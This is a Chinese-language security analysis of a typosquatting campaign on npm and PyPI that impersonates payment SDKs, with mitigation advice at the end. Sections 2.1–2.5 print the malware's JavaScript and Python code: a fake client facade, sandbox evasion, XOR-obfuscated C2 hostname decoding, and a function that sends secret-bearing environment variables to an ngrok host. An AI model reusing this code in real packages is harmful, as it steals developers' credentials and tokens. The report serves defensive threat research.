你以為安全的支付 SDK,其實早被 URL 劫持滲透了?
摘要
報告提供了在 npm 與 PyPI 套件儲存庫上觀察到的協同性相似 URL 劫持(typosquatting) campaign 的技術分析,這些攻擊特別針對熱門的安全支付應用程式 SDK,例如 Paysafe、Skrill 與 Neteller。此 campaign 的主要目標是透過精細的規避技術與混淆的命令與控制(C2)通訊來竊取認證與 Token。這份報告詳細說明了惡意套件機制、反分析措施、C2 主機名稱編碼與資料外洩方法。此外,它也將這些發現與類似的供應鏈攻擊進行比較,突顯了開源軟體生態系統中不斷演變的威脅態勢。
1. 簡介
開源軟體(OSS)元件的普及顯著加速了軟體開發,然而,它也引入了供應鏈攻擊的新途徑。相似 URL 劫持是一種攻擊者註冊與合法套件名稱相似的套件名稱的技術,至今仍是於 npm 與 PyPI 等套件儲存庫中散佈惡意軟體的常見方法。報告調查了近期一個利用相似 URL 劫持來危害開發者環境並竊取敏感認證的協同性 campaign。該 campaign 涉及 17 個惡意套件,它們被設計成模仿廣泛使用的支付平台 SDK,藉此誘騙開發者安裝並執行惡意程式碼 [1] 。
2. 攻擊機制與運作模式
這些惡意套件被設計成看似合法的 SDK,提供一個虛假的門面,同時在背景執行惡意活動。其主要目標是將開發者的 Secret 與環境變數外洩至攻擊者控制的基礎設施 [1] 。
2.1. 假的 SDK 門面:
PaysafeClient
範例
攻擊者精心製作了模仿合法 SDK 功能的套件。例如,
paysafe-node
套件提供了一個
PaysafeClient
class,看起來像是要與 Paysafe API 互動。然而,這種表象具有欺騙性;該 client 會從環境變數中讀取 API 金鑰,但實際上並不會向合法的 Paysafe 端點發起任何外部呼叫。相反地,它會立即回傳一個成功回應,同時秘密地啟動資料外洩
[1]
。
以下為惡意
PaysafeClient
實作的片段,展示了它如何擷取 API 金鑰並準備進行外洩:
- class PaysafeClient {
- constructor(config = {}) {
- this.apiKey = config.apiKey || process.env.PAYSAFE_API_KEY || null // Captures API key from config or environment
- this.env = config.environment || process.env.PAYSAFE_ENV || 'TEST'
- this.base = this.env === 'LIVE'
- ? 'https://api.paysafe.com'
- : 'https://api.test.paysafe.com'
- }
- payments = {
- create: async (data) => this._request('POST', '/paymenthub/v1/payments', data),
- get: async (id) => this._request('GET', '/paymenthub/v1/payments/' + id),
- }
- customers = {
- create: async (data) => this._request('POST', '/paymenthub/v1/customers', data),
- get: async (id) => this._request('GET', '/paymenthub/v1/customers/' + id),
- }
- async _request(method, path, data) {
- if (this.apiKey) {
- // Secretly exfiltrates API key and request details after a delay
- setTimeout(() => exfiltrate({ m: method, p: path, k: this.apiKey.substring(0, 10) }), 11768)
- }
- return { success: true, method, path } // Returns immediate success to maintain facade
- }
- }
2.2. 反分析與沙箱規避
為了阻礙分析並躲避沙箱環境的偵測,該惡意軟體納入了多種反分析技術。它會檢查常見的虛擬化環境或分析工具指標,例如 CPU 核心數、主機名稱與使用者名稱模式。如果偵測到這類指標,惡意軟體就會停止其惡意活動,因此在自動化分析系統面前看似無害 [1] 。
以下 JavaScript function 說明了沙箱偵測的邏輯:
- function isSandbox() {
- try {
- const os = require('os')
- const cpus = os.cpus()
- if (!cpus || cpus.length < 2) return true // Detects low CPU core count, common in sandboxes
- const hostname = os.hostname().toLowerCase()
- const username = os.userInfo().username.toLowerCase()
- const sandboxIndicators = [
- 'sandbox', 'analyzer', 'cuckoo', 'virus', 'malware', 'vmware', 'vbox',
- ]
- for (const indicator of sandboxIndicators) {
- if (hostname.includes(indicator) || username.includes(indicator)) {
- return true // Checks for sandbox-related keywords in hostname or username
- }
- }
- return false
- } catch (e) {
- return false
- }
- }
2.3. C2 主機名稱編碼
命令與控制(C2)伺服器主機名稱透過多步驟編碼程序進行混淆,以增加偵測與分析的難度。這包含了 XOR 解碼、字元碼移位與字串反轉,使得安全研究人員難以快速識別外洩的目標 [1] 。
解碼過程詳述於以下程式碼片段:
- const XOR_KEY = Buffer.from('SGf6lmbr7GHUg99Z6R2U3g==', 'base64')
- function decodeString(base64) {
- const buf = Buffer.from(base64, 'base64')
- const result = Buffer.alloc(buf.length)
- for (let i = 0; i < buf.length; i++) {
- result[i] = buf[i] ^ XOR_KEY[i % XOR_KEY.length] // XOR decoding
- }
- return result.toString()
- }
- // Step 1: XOR decode
- const raw = decodeString('iuCM41mdmqNX9OElK51WXTAYxe4ZkZWjUPmgI54jVl0+GIXspGou5epBXC+aZ+msPA==')
- // Step 2: subtract 17 from each char code
- const shifted = raw.split('').map(c => String.fromCharCode(c.charCodeAt(0) - 17)).join('') // Character code shifting
- // Step 3: reverse
- const c2Host = shifted.split('').reverse().join('') // String reversal
- // → 'caliber-spinner-finishing.ngrok-free.dev'
2.4. 認證與 Token 外洩
核心的惡意活動涉及從環境變數中外洩發現的認證與 Token。該惡意軟體特別針對包含
KEY
、
SECRET
、
TOKEN
、
PASS
、
AUTH
或
API
等關鍵字的環境變數。這種廣泛的過濾確保了包括雲端供應商認證(例如
AWS_SECRET_ACCESS_KEY
)、版本控制 Token(例如
GITHUB_TOKEN
)以及套件管理器 Token(例如
NPM_TOKEN
)在內的大量敏感資訊都可能被竊取
[1]
。
負責收集與發送竊取資料的
exfiltrate
function 如下所示:
- function exfiltrate(extra) {
- try {
- if (isSandbox()) return // Skips exfiltration if sandbox is detected
- const https = require('https')
- const os = require('os')
- const payload = JSON.stringify({
- hostname: os.hostname(),
- username: os.userInfo().username,
- cwd: process.cwd(),
- env: Object.keys(process.env)
- .filter(k =>
- k.includes('KEY') ||
- k.includes('SECRET') ||
- k.includes('TOKEN') ||
- k.includes('PASS') ||
- k.includes('AUTH') ||
- k.includes('API')
- ) // Filters environment variables for sensitive keywords
- .reduce((acc, k) => ({ ...acc, [k]: process.env[k].substring(0, 100) }), {}), // Collects filtered variables, caps values at 100 chars
- time: Date.now(),
- package: 'paysafe-node',
- extra: extra || {},
- })
- const body = Buffer.from(payload)
- const req = https.request({
- hostname: 'caliber-spinner-finishing[.]ngrok-free.dev', // C2 server hostname
- port: 443,
- path: '/',
- method: 'POST',
- headers: {
- 'content-type': 'application/json',
- 'content-length': body.length,
- },
- })
- req.write(body)
- req.end()
- } catch (e) {}
- }
2.5. PyPI 套件行為
PyPI 套件展現了與其 npm 對應套件類似的惡意行為。與 npm 套件不同,PyPI 版本的惡意行為並未以 API 金鑰為條件來觸發,而是在其
__init__.py
被放置時就通用性地啟動。它們使用類似的機制進行認證竊取與外洩
[1]
。
來自惡意 PyPI 套件(例如
paysafe-sdk
)的片段展示了初始化與 C2 通訊的設定:
- # {paysafe-sdk}
- import os,json,base64,time,platform,getpass,ctypes,sys
- _k=base64.b64decode('3zWd1Ua8V/wcYtYxZmQZPQ==') // XOR key for decoding
- _cb=base64.b64decode('HbTtun/MJ4FtWqBLGxZgBK1M6aY4yC6IbVqrQR8dbUahDeClK8ggkHI=')
- _c2=''.join(chr(ord(c)-11) for c in ''.join(chr(_cb[i]^_k[i%len(_k)]) for i in range(len(_cb)))[::-1]) // Decodes C2 hostname
- def _h():return any(x in platform.node().lower() for x in ['sandbox','analyzer','cuckoo','virus','vmware','vbox','malware']) // Sandbox detection
- def _x(s):
- b=base64.b64decode(s);r=bytearray(len(b))
- for i in range(len(b)):r[i]=b[i]^_k[i%len(_k)]
- return r.decode()
- def _e(d=None):
- if _h():return // Skips exfiltration if sandbox is detected
- try:
- import urllib.request as ur
- p=json.dumps({...(truncated)
3. 攻擊流程圖
下圖說明了從套件安裝到資料外洩的典型攻擊流程:
4. 與相關供應鏈攻擊之比較
針對 Paysafe、Skrill 與 Neteller SDK 的相似 URL 劫持 campaign 與在開源生態系統中觀察到的其他供應鏈攻擊有相似之處。例如,近期針對 XRP Ledger 生態系統的攻擊涉及了透過 npm 散佈的
xrpl.js
程式庫遭入侵。該攻擊同樣利用了一個隱藏 function(
checkValidityOfSeed()
)來竊取加密貨幣錢包的私鑰、種子與助記詞,並將其外洩至攻擊者控制的網域
[2]
。這些攻擊的共同點在於利用對看似合法套件的信任,以及使用混淆與規避技術來繞過偵測。
另一個相關的例子是 Braintree 相似 URL 劫持攻擊,其目標同樣是竊取信用卡號碼、CVV 與商家 API 金鑰。這些事件突顯了一個日益增長的趨勢,即攻擊者利用套件管理器的廣泛採用來散佈惡意軟體,且經常採用精密的方法來保持不被發現 [3] 。
5. 緩解措施與建議
為了防範這類精密的供應鏈攻擊,採取多層次的安全方法至關重要:
- 相依性驗證: 開發人員應在整合前仔細驗證套件的真實性與完整性。這包括檢查套件來源、作者聲譽,以及檢視原始碼是否有可疑行為。
- 自動化安全掃描: 採用可掃描相依性中已知漏洞與惡意程式碼模式的自動化工具。如第三方套件掃描工具,目的在主動阻擋惡意開源套件 [1] 。
- 環境變數管理: 限制對敏感環境變數的存取,並確保除非絕對必要,否則不將其暴露給建置環境或開發機器。對 CI/CD pipeline 實施最小權限原則。
- 網路監控: 監控來自開發與建置環境的對外網路連線,以發現異常流量模式或與可疑網域的通訊。
- 開發者教育: 教導開發者關於相似 URL 劫持、社交工程風險以及供應鏈安全最佳實務的重要性。
- 多因子認證(MFA): 對所有套件儲存庫帳戶(npm、PyPI 等)實施 MFA,以防止未經授權的套件發布或修改。
6. 結論
針對熱門支付應用程式 SDK 的協同性相似 URL 劫持 campaign 突顯了開源軟體生態系統中供應鏈攻擊持續且不斷演變的威脅。攻擊者正採用日益複雜的技術,包括假的 SDK 介面、反分析措施、混淆的 C2 通訊以及廣泛的認證外洩。透過了解這些機制並實施強健的安全實務,組織與開發人員可以顯著降低面對此類威脅的風險。持續的警覺性、自動化安全工具以及對相依性驗證的高度關注,對於保護軟體供應鏈至關重要。